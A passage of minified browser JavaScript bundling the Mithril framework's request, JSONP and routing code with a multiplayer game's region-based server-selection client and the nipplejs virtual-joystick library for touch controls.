(a.prototype = n.prototype),
(a.__proto__ = n),
{
request: r(function (n, i, o, a) {
var r,
l = null != i.method ? i.method.toUpperCase() : "GET",
c = i.body,
d =
(null == i.serialize || i.serialize === JSON.serialize) &&
!(c instanceof t.FormData || c instanceof t.URLSearchParams),
h =
i.responseType || ("function" == typeof i.extract ? "" : "json"),
u = new t.XMLHttpRequest(),
p = !1,
f = !1,
$ = u,
g = u.abort;
for (var m in ((u.abort = function () {
(p = !0), g.call(this);
}),
u.open(
l,
n,
!1 !== i.async,
"string" == typeof i.user ? i.user : void 0,
"string" == typeof i.password ? i.password : void 0
),
d &&
null != c &&
!s(i, "content-type") &&
u.setRequestHeader(
"Content-Type",
"application/json; charset=utf-8"
),
"function" == typeof i.deserialize ||
s(i, "accept") ||
u.setRequestHeader("Accept", "application/json, text/*"),
i.withCredentials && (u.withCredentials = i.withCredentials),
i.timeout && (u.timeout = i.timeout),
(u.responseType = h),
i.headers))
Gs.call(i.headers, m) && u.setRequestHeader(m, i.headers[m]);
(u.onreadystatechange = function (t) {
if (!p && 4 === t.target.readyState)
try {
var r,
s =
(t.target.status >= 200 && t.target.status < 300) ||
304 === t.target.status ||
/^file:\/\//i.test(n),
l = t.target.response;
if ("json" === h) {
if (!t.target.responseType && "function" != typeof i.extract)
try {
l = JSON.parse(t.target.responseText);
} catch {
l = null;
}
} else
(h && "text" !== h) ||
null != l ||
(l = t.target.responseText);
if (
("function" == typeof i.extract
? ((l = i.extract(t.target, i)), (s = !0))
: "function" == typeof i.deserialize &&
(l = i.deserialize(l)),
s)
)
o(l);
else {
var c = function () {
try {
r = t.target.responseText;
} catch {
r = l;
}
var n = Error(r);
(n.code = t.target.status), (n.response = l), a(n);
};
0 === u.status
? setTimeout(function () {
f || c();
})
: c();
}
} catch (d) {
a(d);
}
}),
(u.ontimeout = function (t) {
f = !0;
var n = Error("Request timed out");
(n.code = t.target.status), a(n);
}),
"function" == typeof i.config &&
(u = i.config(u, i, n) || u) !== $ &&
((r = u.abort),
(u.abort = function () {
(p = !0), r.call(this);
})),
null == c
? u.send()
: "function" == typeof i.serialize
? u.send(i.serialize(c))
: c instanceof t.FormData || c instanceof t.URLSearchParams
? u.send(c)
: u.send(JSON.stringify(c));
}),
jsonp: r(function (n, i, a, r) {
var s =
i.callbackName ||
"_mithril_" + Math.round(1e16 * Math.random()) + "_" + o++,
l = t.document.createElement("script");
(t[s] = function (n) {
delete t[s], l.parentNode.removeChild(l), a(n);
}),
(l.onerror = function () {
delete t[s],
l.parentNode.removeChild(l),
r(Error("JSONP request failed"));
}),
(l.src =
n +
(0 > n.indexOf("?") ? "?" : "&") +
encodeURIComponent(i.callbackKey || "callback") +
"=" +
encodeURIComponent(s)),
t.document.documentElement.appendChild(l);
}),
}
);
},
oh = yi,
ah = ss,
lh = rh("u" > typeof window ? window : null, oh, ah.redraw);
function no() {
if (Ys) return ln;
function t(t) {
try {
return decodeURIComponent(t);
} catch {
return t;
}
}
return (
(Ys = 1),
(ln = function (n) {
if ("" === n || null == n) return {};
"?" === n.charAt(0) && (n = n.slice(1));
for (var i = n.split("&"), o = {}, a = {}, r = 0; r < i.length; r++) {
var s = i[r].split("="),
l = t(s[0]),
c = 2 === s.length ? t(s[1]) : "";
"true" === c ? (c = !0) : "false" === c && (c = !1);
var d = l.split(/\]\[?|\[/),
h = a;
l.indexOf("[") > -1 && d.pop();
for (var u = 0; u < d.length; u++) {
var p = d[u],
f = d[u + 1],
$ = "" == f || !isNaN(parseInt(f, 10));
if ("" === p) {
var l = d.slice(0, u).join();
null == o[l] && (o[l] = Array.isArray(h) ? h.length : 0),
(p = o[l]++);
} else if ("__proto__" === p) break;
if (u === d.length - 1) h[p] = c;
else {
var g = Object.getOwnPropertyDescriptor(h, p);
null != g && (g = g.value),
null == g && (h[p] = g = $ ? [] : {}),
(h = g);
}
}
}
return a;
})
);
}
function os() {
if ($s) return cn;
$s = 1;
var t = no();
return (cn = function (n) {
var i = n.indexOf("?"),
o = n.indexOf("#"),
a = o < 0 ? n.length : o,
r = i < 0 ? a : i,
s = n.slice(0, r).replace(/\/{2,}/g, "/");
return (
s
? ("/" !== s[0] && (s = "/" + s),
s.length > 1 && "/" === s[s.length - 1] && (s = s.slice(0, -1)))
: (s = "/"),
{
path: s,
params: i < 0 ? {} : t(n.slice(i + 1, a)),
}
);
});
}
function ch() {
if (Ks) return hn;
Ks = 1;
var t = os();
return (hn = function (n) {
var i = t(n),
o = Object.keys(i.params),
a = [],
r = RegExp(
"^" +
i.path.replace(
/:([^\/.-]+)(\.{3}|\.(?!\.)|-)?|[\\^$*+.()|\[\]{}]/g,
function (t, n, i) {
return null == n
? "\\" + t
: (a.push({
k: n,
r: "..." === i,
}),
"..." === i
? "(.*)"
: "." === i
? "([^/]+)\\."
: "([^/]+)" + (i || ""));
}
) +
"$"
);
return function (t) {
for (var n = 0; n < o.length; n++)
if (i.params[o[n]] !== t.params[o[n]]) return !1;
if (!a.length) return r.test(t.path);
var s = r.exec(t.path);
if (null == s) return !1;
for (var n = 0; n < a.length; n++)
t.params[a[n].k] = a[n].r ? s[n + 1] : decodeURIComponent(s[n + 1]);
return !0;
};
});
}
function so() {
if (Js) return fn;
Js = 1;
var t = Ci,
n = RegExp(
"^(?:key|oninit|oncreate|onbeforeupdate|onupdate|onbeforeremove|onremove)$"
);
return (fn = function (i, o) {
var a = {};
if (null != o)
for (var r in i)
t.call(i, r) && !n.test(r) && 0 > o.indexOf(r) && (a[r] = i[r]);
else for (var r in i) t.call(i, r) && !n.test(r) && (a[r] = i[r]);
return a;
});
}
function hh() {
if (Qs) return un;
Qs = 1;
var t = Ge(),
n = Zr,
i = yi,
o = rs(),
a = os(),
r = ch(),
s = io(),
l = so(),
c = {};
function d(t) {
try {
return decodeURIComponent(t);
} catch {
return t;
}
}
return (un = function (h, u) {
var p,
f,
$,
g,
m,
_,
k =
null == h
? null
: "function" == typeof h.setImmediate
? h.setImmediate
: h.setTimeout,
v = i.resolve(),
b = !1,
w = !1,
x = 0,
S = c,
I = {
onbeforeupdate: function () {
return !(!(x = x ? 2 : 1) || c === S);
},
onremove: function () {
h.removeEventListener("popstate", A, !1),
h.removeEventListener("hashchange", O, !1);
},
view: function () {
if (!(!x || c === S)) {
var n = [t($, g.key, g)];
return S && (n = S.render(n[0])), n;
}
},
},
P = (D.SKIP = {});
function O() {
b = !1;
var t = h.location.hash;
"#" !== D.prefix[0] &&
((t = h.location.search + t),
"?" !== D.prefix[0] &&
"/" !== (t = h.location.pathname + t)[0] &&
(t = "/" + t));
var n = t
.concat()
.replace(/(?:%[a-f89][a-f0-9])+/gim, d)
.slice(D.prefix.length),
i = a(n);
function o(t) {
console.error(t),
B(f, null, {
replace: !0,
});
}
function r(t) {
for (; t < p.length; t++)
if (p[t].check(i)) {
var a = p[t].component,
s = p[t].route,
l = a,
c = (_ = function (o) {
if (c === _) {
if (o === P) return r(t + 1);
($ =
null != o &&
("function" == typeof o.view || "function" == typeof o)
? o
: "div"),
(g = i.params),
(m = n),
(_ = null),
(S = a.render ? a : null),
2 === x ? u.redraw() : ((x = 2), u.redraw.sync());
}
});
a.view || "function" == typeof a
? ((a = {}), c(l))
: a.onmatch
? v
.then(function () {
return a.onmatch(i.params, n, s);
})
.then(c, n === f ? null : o)
: c("div");
return;
}
if (n === f) throw Error("Could not resolve default route " + f + ".");
B(f, null, {
replace: !0,
});
}
s(i.params, h.history.state), r(0);
}
function A() {
b || ((b = !0), k(O));
}
function B(t, n, i) {
if (((t = o(t, n)), w)) {
A();
var a = i ? i.state : null,
r = i ? i.title : null;
i && i.replace
? h.history.replaceState(a, r, D.prefix + t)
: h.history.pushState(a, r, D.prefix + t);
} else h.location.href = D.prefix + t;
}
function D(t, n, i) {
if (!t) throw TypeError("DOM element being rendered to does not exist.");
if (
((p = Object.keys(i).map(function (t) {
if ("/" !== t[0]) throw SyntaxError("Routes must start with a '/'.");
if (/:([^\/\.-]+)(\.{3})?:/.test(t))
throw SyntaxError(
"Route parameter names must be separated with either '/', '.', or '-'."
);
return {
route: t,
component: i[t],
check: r(t),
};
})),
(f = n),
null != n)
) {
var o = a(n);
if (
!p.some(function (t) {
return t.check(o);
})
)
throw ReferenceError("Default route doesn't match any known routes.");
}
"function" == typeof h.history.pushState
? h.addEventListener("popstate", A, !1)
: "#" === D.prefix[0] && h.addEventListener("hashchange", O, !1),
(w = !0),
u.mount(t, I),
O();
}
return (
(D.set = function (t, n, i) {
null != _ && ((i = i || {}).replace = !0), (_ = null), B(t, n, i);
}),
(D.get = function () {
return m;
}),
(D.prefix = "#!"),
(D.Link = {
view: function (t) {
var i,
a,
r,
s = n(
t.attrs.selector || "a",
l(t.attrs, ["options", "params", "selector", "onclick"]),
t.children
);
return (
(s.attrs.disabled = Boolean(s.attrs.disabled))
? ((s.attrs.href = null), (s.attrs["aria-disabled"] = "true"))
: ((i = t.attrs.options),
(a = t.attrs.onclick),
(r = o(s.attrs.href, t.attrs.params)),
(s.attrs.href = D.prefix + r),
(s.attrs.onclick = function (t) {
var n;
"function" == typeof a
? (n = a.call(t.currentTarget, t))
: null == a ||
"object" != typeof a ||
("function" == typeof a.handleEvent && a.handleEvent(t)),
!1 === n ||
t.defaultPrevented ||
(0 !== t.button && 0 !== t.which && 1 !== t.which) ||
(t.currentTarget.target &&
"_self" !== t.currentTarget.target) ||
t.ctrlKey ||
t.metaKey ||
t.shiftKey ||
t.altKey ||
(t.preventDefault(), (t.redraw = !1), D.set(r, null, i));
})),
s
);
},
}),
(D.param = function (t) {
return g && null != t ? g[t] : g;
}),
D
);
});
}
function fh() {
return Zs
? dn
: ((Zs = 1), (dn = hh()("u" > typeof window ? window : null, ss)));
}
var Ai = eh,
ro = lh,
oo = ss,
pe = function () {
return Ai.apply(this, arguments);
};
(pe.m = Ai),
(pe.trust = Ai.trust),
(pe.fragment = Ai.fragment),
(pe.Fragment = "["),
(pe.mount = oo.mount),
(pe.route = fh()),
(pe.render = eo()),
(pe.redraw = oo.redraw),
(pe.request = ro.request),
(pe.jsonp = ro.jsonp),
(pe.parseQueryString = no()),
(pe.buildQueryString = to()),
(pe.parsePathname = os()),
(pe.buildPathname = rs()),
(pe.vnode = Ge()),
(pe.PromisePolyfill = jr()),
(pe.censor = so());
var Ne = pe;
function we(t, n, i, o, a) {
(this.debugLog = !1),
(this.baseUrl = t),
(this.lobbySize = i),
(this.devPort = n),
(this.lobbySpread = o),
(this.rawIPs = !!a),
(this.server = void 0),
(this.gameIndex = void 0),
(this.callback = void 0),
(this.errorCallback = void 0);
}
(we.prototype.regionInfo = {
0: {
name: "Local",
latitude: 0,
longitude: 0,
},
"us-east": {
name: "Miami",
latitude: 40.1393329,
longitude: -75.8521818,
},
"us-west": {
name: "Silicon Valley",
latitude: 47.6149942,
longitude: -122.4759879,
},
gb: {
name: "London",
latitude: 51.5283063,
longitude: -0.382486,
},
"eu-west": {
name: "Frankfurt",
latitude: 50.1211273,
longitude: 8.496137,
},
au: {
name: "Sydney",
latitude: -33.8479715,
longitude: 150.651084,
},
sg: {
name: "Singapore",
latitude: 1.3147268,
longitude: 103.7065876,
},
}),
(we.prototype.start = function (t, n, i, o) {
if (((this.callback = n), (this.errorCallback = i), o)) return n();
let a = this.parseServerQuery(t);
a && a.length > 0
? (this.log("Found server in query."),
(this.password = a[3]),
this.connect(a[0], a[1], a[2]))
: this.errorCallback("Unable to find server");
}),
(we.prototype.parseServerQuery = function (t) {
let n = new URLSearchParams(location.search, !0),
i = t || n.get("server");
if ("string" != typeof i) return [];
let [o, a] = i.split(":");
return [o, a, n.get("password")];
}),
(we.prototype.findServer = function (t, n) {
var i = this.servers[t];
for (let o = 0; o < i.length; o++) {
let a = i[o];
if (a.name === n) return a;
}
console.warn(
"Could not find server in region " + t + " with serverName " + n + "."
);
}),
(we.prototype.seekServer = function (t, n, i) {
null == i && (i = "random"), null == n && (n = !1);
let o = ["random"],
a = this.lobbySize,
r = this.lobbySpread,
s = this.servers[t]
.flatMap(function (t) {
let n = 0;
return t.games.map(function (i) {
let o = n++;
return {
region: t.region,
index: t.index * t.games.length + o,
gameIndex: o,
gameCount: t.games.length,
playerCount: i.playerCount,
playerCapacity: i.playerCapacity,
isPrivate: i.isPrivate,
};
});
})
.filter(function (t) {
return !t.isPrivate;
})
.filter(function (t) {
return !n || (0 == t.playerCount && t.gameIndex >= t.gameCount / 2);
})
.filter(function (t) {
return "random" == i || o[t.index % o.length].key == i;
})
.sort(function (t, n) {
return n.playerCount - t.playerCount;
})
.filter(function (t) {
return t.playerCount < a;
});
if ((n && s.reverse(), 0 == s.length)) {
this.errorCallback("No open servers.");
return;
}
let l = Math.min(r, s.length);
var c = Math.floor(Math.random() * l);
c = Math.min(c, s.length - 1);
let d = s[c],
h = d.region;
var c = Math.floor(d.index / d.gameCount);
let u = d.index % d.gameCount;
return this.log("Found server."), [h, c, u];
}),
(we.prototype.connect = function (t, n, i) {
if (this.connected) return;
let o = this.findServer(t, n);
if (null == o) {
this.errorCallback(
"Failed to find server for region " + t + " and serverName " + n
);
return;
}
window.history.replaceState(
document.title,
document.title,
this.generateHref(t, n, this.password)
),
(this.server = o),
(this.gameIndex = i),
this.log(
"Calling callback with address",
this.serverAddress(o),
"on port",
this.serverPort(o)
),
this.callback(this.serverAddress(o), this.serverPort(o), i),
Lt && clearInterval(Lt);
}),
(we.prototype.switchServer = function (t, n) {
(this.switchingServers = !0),
(window.location = this.generateHref(t, n, null));
}),
(we.prototype.generateHref = function (t, n, i) {
let o = window.location.href.split("?")[0];
return (
(o += "?server=" + t + ":" + n),
i && (o += "&password=" + encodeURIComponent(i)),
o
);
}),
(we.prototype.serverAddress = function (t) {
return 0 == t.region
? "localhost"
: t.key + "." + t.region + "." + this.baseUrl;
}),
(we.prototype.serverPort = function (t) {
return t.port;
});
let Lt;
function uh(t) {
let n = Math.min(...t.map((t) => t.ping || 1 / 0)),
i = t.filter((t) => t.ping === n);
return !i.length > 0
? null
: i.reduce((t, n) => (t.playerCount > n.playerCount ? t : n));
}
(we.prototype.processServers = function (t) {
return (
Lt && clearInterval(Lt),
new Promise((n) => {
let i = {},
o = (t) => {
let n = i[t],
o = n[0],
a = this.serverAddress(o),
r = this.serverPort(o);
r && (a += `:${r}`);
let s = `https://${a}/ping`,
l = new Date().getTime();
return Promise.race([
fetch(s)
.then(() => {
let t = new Date().getTime() - l;
n.forEach((n) => {
(n.pings = n.pings ?? []),
n.pings.push(t),
n.pings.length > 10 && n.pings.shift(),
(n.ping = Math.floor(
n.pings.reduce((t, n) => t + n, 0) / n.pings.length
));
});
})
.catch(() => {}),
new Promise((t) => setTimeout(() => t(), 800)),
]);
},
a = async () => {
await Promise.all(Object.keys(i).map(o)),
window.blockRedraw || Ne.redraw();
};
for (let r in (t.forEach((t) => {
(i[t.region] = i[t.region] || []), i[t.region].push(t);
}),
i))
i[r] = i[r].sort(function (t, n) {
return n.playerCount - t.playerCount;
});
this.servers = i;
let s,
[l, c] = this.parseServerQuery();
t.forEach((t) => {
l === t.region && c === t.name && ((t.selected = !0), (s = t));
}),
a()
.then(a)
.then(() => {
if (s) return;
let n = uh(t);
n || (n = t[0]),
n &&
((n.selected = !0),
window.history.replaceState(
document.title,
document.title,
this.generateHref(n.region, n.name, this.password)
)),
window.blockRedraw || Ne.redraw();
})
.then(a)
.catch((t) => {})
.finally(n),
(Lt = setInterval(a, 1e3));
})
);
}),
(we.prototype.ipToHex = function (t) {
return t
.split(".")
.map((t) => ("00" + parseInt(t).toString(16)).substr(-2))
.join("")
.toLowerCase();
}),
(we.prototype.hashIP = function (t) {
return On(this.ipToHex(t));
}),
(we.prototype.log = function () {
return this.debugLog
? console.log.apply(void 0, arguments)
: console.verbose
? console.verbose.apply(void 0, arguments)
: void 0;
}),
(we.prototype.stripRegion = function (t) {
return (
t.startsWith("vultr:")
? (t = t.slice(6))
: t.startsWith("do:") && (t = t.slice(3)),
t
);
});
const dh = function (t, n) {
return t.concat(n);
},
ph = function (t, n) {
return n.map(t).reduce(dh, []);
};
Array.prototype.flatMap = function (t) {
return ph(t, this);
};
const fi = (t, n) => {
let i = n.x - t.x,
o = n.y - t.y;
return Math.sqrt(i * i + o * o);
},
mh = (t, n) => {
let i = n.x - t.x,
o = n.y - t.y;
return yh(Math.atan2(o, i));
},
gh = (t, n, i) => {
let o = {
x: 0,
y: 0,
};
return (
(i = Bn(i)),
(o.x = t.x - n * Math.cos(i)),
(o.y = t.y - n * Math.sin(i)),
o
);
},
Bn = (t) => t * (Math.PI / 180),
yh = (t) => t * (180 / Math.PI),
wh = (t) => (isNaN(t.buttons) ? 0 !== t.pressure : 0 !== t.buttons),
pn = new Map(),
js = (t) => {
pn.has(t) && clearTimeout(pn.get(t)), pn.set(t, setTimeout(t, 100));
},
wi = (t, n, i) => {
let o = n.split(/[ ,]+/g),
a;
for (let r = 0; r < o.length; r += 1)
(a = o[r]),
t.addEventListener
? t.addEventListener(a, i, !1)
: t.attachEvent && t.attachEvent(a, i);
},
er = (t, n, i) => {
let o = n.split(/[ ,]+/g),
a;
for (let r = 0; r < o.length; r += 1)
(a = o[r]),
t.removeEventListener
? t.removeEventListener(a, i)
: t.detachEvent && t.detachEvent(a, i);
},
ao = (t) => (
t.preventDefault(), t.type.match(/^touch/) ? t.changedTouches : t
),
tr = () => {
let t =
void 0 !== window.pageXOffset
? window.pageXOffset
: (
document.documentElement ||
document.body.parentNode ||
document.body
).scrollLeft,
n =
void 0 !== window.pageYOffset
? window.pageYOffset
: (
document.documentElement ||
document.body.parentNode ||
document.body
).scrollTop;
return {
x: t,
y: n,
};
},
ir = (t, n) => {
n.top || n.right || n.bottom || n.left
? ((t.style.top = n.top),
(t.style.right = n.right),
(t.style.bottom = n.bottom),
(t.style.left = n.left))
: ((t.style.left = n.x + "px"), (t.style.top = n.y + "px"));
},
as = (t, n, i) => {
let o = lo(t);
for (let a in o)
if (o.hasOwnProperty(a)) {
if ("string" == typeof n) o[a] = n + " " + i;
else {
let r = "";
for (let s = 0, l = n.length; s < l; s += 1)
r += n[s] + " " + i + ", ";
o[a] = r.slice(0, -2);
}
}
return o;
},
kh = (t, n) => {
let i = lo(t);
for (let o in i) i.hasOwnProperty(o) && (i[o] = n);
return i;
},
lo = (t) => {
let n = {};
return (
(n[t] = ""),
["webkit", "Moz", "o"].forEach(function (i) {
n[i + t.charAt(0).toUpperCase() + t.slice(1)] = "";
}),
n
);
},
mn = (t, n) => {
for (let i in n) n.hasOwnProperty(i) && (t[i] = n[i]);
return t;
},
vh = (t, n) => {
let i = {};
for (let o in t)
t.hasOwnProperty(o) && n.hasOwnProperty(o)
? (i[o] = n[o])
: t.hasOwnProperty(o) && (i[o] = t[o]);
return i;
},
zn = (t, n) => {
if (t.length) for (let i = 0, o = t.length; i < o; i += 1) n(t[i]);
else n(t);
},
xh = (t, n, i) => ({
x: Math.min(Math.max(t.x, n.x - i), n.x + i),
y: Math.min(Math.max(t.y, n.y - i), n.y + i),
});
var cn,
$s,
hn,
Ks,
fn,
Js,
un,
Qs,
dn,
Zs,
vt,
bh = "ontouchstart" in window,
Sh = !!window.PointerEvent,
Th = !!window.MSPointerEvent,
Bt = {
touch: {
start: "touchstart",
move: "touchmove",
end: "touchend, touchcancel",
},
mouse: {
start: "mousedown",
move: "mousemove",
end: "mouseup",
},
pointer: {
start: "pointerdown",
move: "pointermove",
end: "pointerup, pointercancel",
},
MSPointer: {
start: "MSPointerDown",
move: "MSPointerMove",
end: "MSPointerUp",
},
},
Kt = {};
function Ve() {}
function he(t, n) {
return (
(this.identifier = n.identifier),
(this.position = n.position),
(this.frontPosition = n.frontPosition),
(this.collection = t),
(this.defaults = {
size: 100,
threshold: 0.1,
color: "white",
fadeTime: 250,
dataOnly: !1,
restJoystick: !0,
restOpacity: 0.5,
mode: "dynamic",
zone: document.body,
lockX: !1,
lockY: !1,
shape: "circle",
}),
this.config(n),
"dynamic" === this.options.mode && (this.options.restOpacity = 0),
(this.id = he.id),
(he.id += 1),
this.buildEl().stylize(),
(this.instance = {
el: this.ui.el,
on: this.on.bind(this),
off: this.off.bind(this),
show: this.show.bind(this),
hide: this.hide.bind(this),
add: this.addToDom.bind(this),
remove: this.removeFromDom.bind(this),
destroy: this.destroy.bind(this),
setPosition: this.setPosition.bind(this),
resetDirection: this.resetDirection.bind(this),
computeDirection: this.computeDirection.bind(this),
trigger: this.trigger.bind(this),
position: this.position,
frontPosition: this.frontPosition,
ui: this.ui,
identifier: this.identifier,
id: this.id,
options: this.options,
}),
this.instance
);
}
function ae(t, n) {
var i = this;
(i.nipples = []),
(i.idles = []),
(i.actives = []),
(i.ids = []),
(i.pressureIntervals = {}),
(i.manager = t),
(i.id = ae.id),
(ae.id += 1),
(i.defaults = {
zone: document.body,
multitouch: !1,
maxNumberOfNipples: 10,
mode: "dynamic",
position: {
top: 0,
left: 0,
},
catchDistance: 200,
size: 100,
threshold: 0.1,
color: "white",
fadeTime: 250,
dataOnly: !1,
restJoystick: !0,
restOpacity: 0.5,
lockX: !1,
lockY: !1,
shape: "circle",
dynamicPage: !1,
follow: !1,
}),
i.config(n),
("static" === i.options.mode || "semi" === i.options.mode) &&
(i.options.multitouch = !1),
i.options.multitouch || (i.options.maxNumberOfNipples = 1);
let o = getComputedStyle(i.options.zone.parentElement);
return (
o && "flex" === o.display && (i.parentIsFlex = !0),
i.updateBox(),
i.prepareNipples(),
i.bindings(),
i.begin(),
i.nipples
);
}
function de(t) {
var n = this;
(n.ids = {}),
(n.index = 0),
(n.collections = []),
(n.scroll = tr()),
n.config(t),
n.prepareCollections();
var i = function () {
var t;
n.collections.forEach(function (i) {
i.forEach(function (i) {
(t = i.el.getBoundingClientRect()),
(i.position = {
x: n.scroll.x + t.left,
y: n.scroll.y + t.top,
});
});
});
};
wi(window, "resize", function () {
js(i);
});
var o = function () {
n.scroll = tr();
};
return (
wi(window, "scroll", function () {
js(o);
}),
n.collections
);
}
Sh
? (vt = Bt.pointer)
: Th
? (vt = Bt.MSPointer)
: bh
? ((vt = Bt.touch), (Kt = Bt.mouse))
: (vt = Bt.mouse),
(Ve.prototype.on = function (t, n) {
var i,
o = this,
a = t.split(/[ ,]+/g);
o._handlers_ = o._handlers_ || {};
for (var r = 0; r < a.length; r += 1)
(i = a[r]),
(o._handlers_[i] = o._handlers_[i] || []),
o._handlers_[i].push(n);
return o;
}),
(Ve.prototype.off = function (t, n) {
var i = this;
return (
(i._handlers_ = i._handlers_ || {}),
void 0 === t
? (i._handlers_ = {})
: void 0 === n
? (i._handlers_[t] = null)
: i._handlers_[t] &&
i._handlers_[t].indexOf(n) >= 0 &&
i._handlers_[t].splice(i._handlers_[t].indexOf(n), 1),
i
);
}),
(Ve.prototype.trigger = function (t, n) {
var i,
o = this,
a = t.split(/[ ,]+/g);
o._handlers_ = o._handlers_ || {};
for (var r = 0; r < a.length; r += 1)
(i = a[r]),
o._handlers_[i] &&
o._handlers_[i].length &&
o._handlers_[i].forEach(function (t) {
t.call(
o,
{
type: i,
target: o,
},
n
);
});
}),
(Ve.prototype.config = function (t) {
var n = this;
(n.options = n.defaults || {}), t && (n.options = vh(n.options, t));
}),
(Ve.prototype.bindEvt = function (t, n) {
var i = this;
return (
(i._domHandlers_ = i._domHandlers_ || {}),
(i._domHandlers_[n] = function () {
"function" == typeof i["on" + n]
? i["on" + n].apply(i, arguments)
: console.warn('[WARNING] : Missing "on' + n + '" handler.');
}),
wi(t, vt[n], i._domHandlers_[n]),
Kt[n] && wi(t, Kt[n], i._domHandlers_[n]),
i
);
}),
(Ve.prototype.unbindEvt = function (t, n) {
var i = this;
return (
(i._domHandlers_ = i._domHandlers_ || {}),
er(t, vt[n], i._domHandlers_[n]),
Kt[n] && er(t, Kt[n], i._domHandlers_[n]),
delete i._domHandlers_[n],
this
);
}),
(he.prototype = new Ve()),
(he.constructor = he),
(he.id = 0),
(he.prototype.buildEl = function (t) {
return (
(this.ui = {}),
this.options.dataOnly ||
((this.ui.el = document.createElement("div")),
(this.ui.back = document.createElement("div")),
(this.ui.front = document.createElement("div")),
(this.ui.el.className = "nipple collection_" + this.collection.id),
(this.ui.back.className = "back"),
(this.ui.front.className = "front"),
this.ui.el.setAttribute(
"id",
"nipple_" + this.collection.id + "_" + this.id
),
this.ui.el.appendChild(this.ui.back),
this.ui.el.appendChild(this.ui.front)),
this
);
}),
(he.prototype.stylize = function () {
if (this.options.dataOnly) return this;
var t = this.options.fadeTime + "ms",
n = kh("borderRadius", "50%"),
i = as("transition", "opacity", t),
o = {};
return (
(o.el = {
position: "absolute",
opacity: this.options.restOpacity,
display: "block",
zIndex: 999,
}),
(o.back = {
position: "absolute",
display: "block",
width: this.options.size + "px",
height: this.options.size + "px",
marginLeft: -this.options.size / 2 + "px",
marginTop: -this.options.size / 2 + "px",
background: this.options.color,
opacity: ".5",
}),
(o.front = {
width: this.options.size / 2 + "px",
height: this.options.size / 2 + "px",
position: "absolute",
display: "block",
marginLeft: -this.options.size / 4 + "px",
marginTop: -this.options.size / 4 + "px",
background: this.options.color,
opacity: ".5",
transform: "translate(0px, 0px)",
}),
mn(o.el, i),
"circle" === this.options.shape && mn(o.back, n),
mn(o.front, n),
this.applyStyles(o),
this
);
}),
(he.prototype.applyStyles = function (t) {
for (var n in this.ui)
if (this.ui.hasOwnProperty(n))
for (var i in t[n]) this.ui[n].style[i] = t[n][i];
return this;
}),
(he.prototype.addToDom = function () {
return (
this.options.dataOnly ||
document.body.contains(this.ui.el) ||
this.options.zone.appendChild(this.ui.el),
this
);
}),
(he.prototype.removeFromDom = function () {
return (
this.options.dataOnly ||
!document.body.contains(this.ui.el) ||
this.options.zone.removeChild(this.ui.el),
this
);
}),
(he.prototype.destroy = function () {
clearTimeout(this.removeTimeout),
clearTimeout(this.showTimeout),
clearTimeout(this.restTimeout),
this.trigger("destroyed", this.instance),
this.removeFromDom(),
this.off();
}),
(he.prototype.show = function (t) {
var n = this;
return (
n.options.dataOnly ||
(clearTimeout(n.removeTimeout),
clearTimeout(n.showTimeout),
clearTimeout(n.restTimeout),
n.addToDom(),
n.restCallback(),
setTimeout(function () {
n.ui.el.style.opacity = 1;
}, 0),
(n.showTimeout = setTimeout(function () {
n.trigger("shown", n.instance),
"function" == typeof t && t.call(this);
}, n.options.fadeTime))),
n
);
}),
(he.prototype.hide = function (t) {
var n = this;
if (n.options.dataOnly) return n;
if (
((n.ui.el.style.opacity = n.options.restOpacity),
clearTimeout(n.removeTimeout),
clearTimeout(n.showTimeout),
clearTimeout(n.restTimeout),
(n.removeTimeout = setTimeout(function () {
var i = "dynamic" === n.options.mode ? "none" : "block";
(n.ui.el.style.display = i),
"function" == typeof t && t.call(n),
n.trigger("hidden", n.instance);
}, n.options.fadeTime)),
n.options.restJoystick)
) {
let i = n.options.restJoystick,
o = {};
(o.x = !0 === i || !1 !== i.x ? 0 : n.instance.frontPosition.x),
(o.y = !0 === i || !1 !== i.y ? 0 : n.instance.frontPosition.y),
n.setPosition(t, o);
}
return n;
}),
(he.prototype.setPosition = function (t, n) {
var i = this;
i.frontPosition = {
x: n.x,
y: n.y,
};
var o = i.options.fadeTime + "ms",
a = {};
a.front = as("transition", ["transform"], o);
var r = {
front: {},
};
(r.front = {
transform:
"translate(" + i.frontPosition.x + "px," + i.frontPosition.y + "px)",
}),
i.applyStyles(a),
i.applyStyles(r),
(i.restTimeout = setTimeout(function () {
"function" == typeof t && t.call(i), i.restCallback();
}, i.options.fadeTime));
}),
(he.prototype.restCallback = function () {
var t = {};
(t.front = as("transition", "none", "")),
this.applyStyles(t),
this.trigger("rested", this.instance);
}),
(he.prototype.resetDirection = function () {
this.direction = {
x: !1,
y: !1,
angle: !1,
};
}),
(he.prototype.computeDirection = function (t) {
var n,
i,
o,
a = t.angle.radian,
r = Math.PI / 4,
s = Math.PI / 2;
if (
(a > r && a < 3 * r && !t.lockX
? (n = "up")
: a > -r && a <= r && !t.lockY
? (n = "left")
: a > -(3 * r) && a <= -r && !t.lockX
? (n = "down")
: t.lockY || (n = "right"),
t.lockY || (i = a > -s && a < s ? "left" : "right"),
t.lockX || (o = a > 0 ? "up" : "down"),
t.force > this.options.threshold)
) {
var l,
c = {};
for (l in this.direction)
this.direction.hasOwnProperty(l) && (c[l] = this.direction[l]);
var d = {};
for (l in ((this.direction = {
x: i,
y: o,
angle: n,
}),
(t.direction = this.direction),
c))
c[l] === this.direction[l] && (d[l] = !0);
if (d.x && d.y && d.angle) return t;
(d.x && d.y) || this.trigger("plain", t),
d.x || this.trigger("plain:" + i, t),
d.y || this.trigger("plain:" + o, t),
d.angle || this.trigger("dir dir:" + n, t);
} else this.resetDirection();
return t;
}),
(ae.prototype = new Ve()),
(ae.constructor = ae),
(ae.id = 0),
(ae.prototype.prepareNipples = function () {
var t = this.nipples;
(t.on = this.on.bind(this)),
(t.off = this.off.bind(this)),
(t.options = this.options),
(t.destroy = this.destroy.bind(this)),
(t.ids = this.ids),
(t.id = this.id),
(t.processOnMove = this.processOnMove.bind(this)),
(t.processOnEnd = this.processOnEnd.bind(this)),
(t.get = function (n) {
if (void 0 === n) return t[0];
for (var i = 0, o = t.length; i < o; i += 1)
if (t[i].identifier === n) return t[i];
return !1;
});
}),
(ae.prototype.bindings = function () {
var t = this;
t.bindEvt(t.options.zone, "start"),
(t.options.zone.style.touchAction = "none"),
(t.options.zone.style.msTouchAction = "none");
}),
(ae.prototype.begin = function () {
var t = this.options;
if ("static" === t.mode) {
var n = this.createNipple(t.position, this.manager.getIdentifier());
n.add(), this.idles.push(n);
}
}),
(ae.prototype.createNipple = function (t, n) {
var i = this.manager.scroll,
o = {},
a = this.options,
r = {
